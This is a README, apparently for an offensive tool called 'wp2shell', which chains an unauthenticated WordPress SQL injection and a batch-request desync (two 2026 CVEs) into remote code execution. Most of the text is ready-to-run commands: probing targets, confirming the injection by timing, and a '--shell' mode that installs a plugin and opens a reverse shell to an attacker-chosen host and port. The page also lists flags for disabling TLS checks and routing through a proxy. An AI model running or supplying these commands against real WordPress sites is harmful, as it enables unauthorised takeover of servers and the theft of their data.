wp2shell (CVE-2026-63030 / CVE-2026-60137)

名称	wp2shell
CVE	CVE-2026-63030 (batch desync), CVE-2026-60137 (author__not_in SQLi)
受影响版本	WordPress 6.9.0 至 6.9.4, 7.0.0 至 7.0.1
修复版本	6.9.5, 7.0.2
所需认证	无
发现者	Adam Kues (Searchlight Cyber / Assetnote)

用法

裸主机 = 自动选择协议（依次尝试 https:// 和 http://）。仅在需要强制指定某个协议时，才添加 http:// 或 https:// 前缀。

# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080

# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/

# timing confirm
wp2shell target.example --confirm-sqli

# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443

参数	作用
--shell [LHOST [LPORT]]	标准 RCE 利用链；默认 LHOST 为本机 IP，LPORT 为 443
--rest-route	优先尝试 /?rest_route=/batch/v1
--verify-tls	验证 TLS 证书（默认关闭，适用于实验室/自签名环境）
--proxy URL	通过代理发送流量
--force	跳过 WordPress 指纹识别